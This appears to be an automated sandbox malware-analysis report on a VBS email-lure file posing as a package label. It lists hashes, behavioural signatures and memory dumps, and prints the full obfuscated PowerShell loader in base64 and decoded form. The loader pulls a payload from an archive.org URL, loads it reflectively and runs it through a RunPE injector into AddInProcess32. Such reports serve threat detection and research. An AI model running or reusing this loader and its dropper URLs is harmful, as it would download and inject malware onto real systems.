Overview

overview

10

Static

static

1

Package La...71.vbs

windows7-x64

10

Package La...71.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    117s
  • max time network
    126s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    16-09-2024 14:19

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Package Label PL_0921371571.vbs

  • Size

    508KB

  • MD5

    d07670e4294bb3b4f8cb5d015f02cd63

  • SHA1

    f5026f5cdebe2a78e0e22afcfd266aa6b8ab027a

  • SHA256

    404b57d95f283e13341785c6565f1fda78a9645912850491e819f1b047563f9f

  • SHA512

    194f1d7df1885fd2d006cf026652fc22fc34f8666d1ac5f976b7ba370a1aeee80e51e3fa88828a0b4e640d9ab5f5e2bf5b900050db9d0e4ddaf8d1d6d12549f9

  • SSDEEP

    12288:VHkaHTzfEQUu8fW7H7P0ielz5KM9BoVH4WJ19UsipS28E8PWPNsgF+QhB0Iy6Zm2:VRc67Q6ZG0oZ

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt
exe.dropper

https://ia600100.us.archive.org/24/items/detah-note-v/DetahNoteV.txt

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Package Label PL_0921371571.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2032
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnRmU0dXJsJysnICcrJz0nKycgJysneGcnKydMaHQnKyd0cHM6JysnLy9pYScrJzYwJysnMDEwMC4nKyd1Jysncy5hcmNoaXZlLm8nKydyZy8yNC9pJysndGUnKydtJysncy9kJysnZScrJ3RhaC0nKydub3RlLXYvRCcrJ2V0JysnYWhOJysnbycrJ3RlVicrJy4nKyd0eHR4Z0w7RmU0YicrJ2FzZScrJzY0JysnQ29udGVuJysndCcrJyAnKyc9ICgnKydOJysnZScrJ3ctT2InKydqJysnZWN0ICcrJ1N5JysncycrJ3RlJysnbS5OZScrJ3QuJysnV2ViJysnQ2xpJysnZW50JysnKS4nKydEJysnb3dubG9hJysnZFN0cmknKyduZyhGZScrJzR1JysncmwpO0ZlNGJpbmFyJysneUNvJysnbnRlbnQnKycgJysnPScrJyBbU3knKydzJysndGUnKydtLkNvbnZlJysncnQnKyddOjpGcm9tQmFzZTY0U3QnKydyaW4nKydnKEZlNGJhc2U2NCcrJ0NvbnQnKydlbnQnKycpJysnO0ZlNGFzcycrJ2VtJysnYmx5JysnICcrJz0nKycgW1JlZmwnKydlY3Rpb24uQXMnKydzZW1ibHldOjpMb2FkKEYnKydlJysnNGJpbmFyJysneUNvbnRlbicrJ3QpO0ZlJysnNCcrJ3QnKyd5cGUgPSAnKydGZTRhc3MnKydlbScrJ2JsJysneScrJy5HZXQnKydUJysneXBlKHhnJysnTFJ1JysnblBFJysnLkgnKydvbWV4ZycrJ0wpO0ZlNCcrJ21ldGgnKydvZCcrJyA9IEZlJysnNHQnKyd5cGUnKycuR2UnKyd0TWV0JysnaCcrJ29kJysnKCcrJ3hnTCcrJ1ZBJysnSXgnKydnTCk7JysnRmUnKyc0bScrJ2V0aCcrJ29kLkluJysndm9rZShGZTRudScrJ2wnKydsJysnLCBbb2JqZWN0WycrJ11dQCh4Z0wwJysnL3AnKydKU0cnKydOL2QvJysnZScrJ2UuZXRzJysnYXAvLycrJzpzJysncHR0aCcrJ3gnKydnTCcrJyAsIHgnKydnTGRlc2F0JysnaXZhJysnZG94JysnZ0wnKycgJysnLCcrJyB4Z0xkJysnZXMnKydhdGl2YWQnKydvJysneGdMICwgJysneCcrJ2dMZGVzYXRpdmEnKydkJysnbycrJ3hnTCwnKyd4Z0xBJysnZGRJblByJysnb2Nlc3MnKyczMnhnJysnTCcrJywnKyd4JysnZ0x4ZycrJ0wpKScpLVJFUExBY0UgICdGZTQnLFtDSGFyXTM2IC1DckVQTEFjRSAgJ3hnTCcsW0NIYXJdMzkpIHwgLiggJHNIRWxMaURbMV0rJHNIRWxsaWRbMTNdKyd4Jyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2384
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('Fe4url'+' '+'='+' '+'xg'+'Lht'+'tps:'+'//ia'+'60'+'0100.'+'u'+'s.archive.o'+'rg/24/i'+'te'+'m'+'s/d'+'e'+'tah-'+'note-v/D'+'et'+'ahN'+'o'+'teV'+'.'+'txtxgL;Fe4b'+'ase'+'64'+'Conten'+'t'+' '+'= ('+'N'+'e'+'w-Ob'+'j'+'ect '+'Sy'+'s'+'te'+'m.Ne'+'t.'+'Web'+'Cli'+'ent'+').'+'D'+'ownloa'+'dStri'+'ng(Fe'+'4u'+'rl);Fe4binar'+'yCo'+'ntent'+' '+'='+' [Sy'+'s'+'te'+'m.Conve'+'rt'+']::FromBase64St'+'rin'+'g(Fe4base64'+'Cont'+'ent'+')'+';Fe4ass'+'em'+'bly'+' '+'='+' [Refl'+'ection.As'+'sembly]::Load(F'+'e'+'4binar'+'yConten'+'t);Fe'+'4'+'t'+'ype = '+'Fe4ass'+'em'+'bl'+'y'+'.Get'+'T'+'ype(xg'+'LRu'+'nPE'+'.H'+'omexg'+'L);Fe4'+'meth'+'od'+' = Fe'+'4t'+'ype'+'.Ge'+'tMet'+'h'+'od'+'('+'xgL'+'VA'+'Ix'+'gL);'+'Fe'+'4m'+'eth'+'od.In'+'voke(Fe4nu'+'l'+'l'+', [object['+']]@(xgL0'+'/p'+'JSG'+'N/d/'+'e'+'e.ets'+'ap//'+':s'+'ptth'+'x'+'gL'+' , x'+'gLdesat'+'iva'+'dox'+'gL'+' '+','+' xgLd'+'es'+'ativad'+'o'+'xgL , '+'x'+'gLdesativa'+'d'+'o'+'xgL,'+'xgLA'+'ddInPr'+'ocess'+'32xg'+'L'+','+'x'+'gLxg'+'L))')-REPLAcE 'Fe4',[CHar]36 -CrEPLAcE 'xgL',[CHar]39) | .( $sHElLiD[1]+$sHEllid[13]+'x')"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1828

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
    Filesize

    7KB

    MD5

    3e833ade9508f026193d44a7494fc50d

    SHA1

    6ea2ea1757760632096c09a33421c92265b66b51

    SHA256

    cd9c586677392e92a7b2dd23e0e743db9e9013f8e9436f9ca5053674fac46a6d

    SHA512

    dab05548157d4cbc9d4e1b478d2b609494649ece2d371f579c6b628dad9a8530e46a6507c108fd5470c438f2fdf4a0bea703b59d1612e3ecc23cb01bf52213f5

    Download Submit

  • memory/2384-4-0x000007FEF551E000-0x000007FEF551F000-memory.dmp

    Filesize

    4KB

    Download

  • memory/2384-5-0x000000001B5B0000-0x000000001B892000-memory.dmp

    Filesize

    2.9MB

    Download

  • memory/2384-6-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2384-7-0x0000000002390000-0x0000000002398000-memory.dmp

    Filesize

    32KB

    Download

  • memory/2384-8-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2384-9-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2384-10-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2384-11-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

    Download

  • memory/2384-17-0x000007FEF5260000-0x000007FEF5BFD000-memory.dmp

    Filesize

    9.6MB

    Download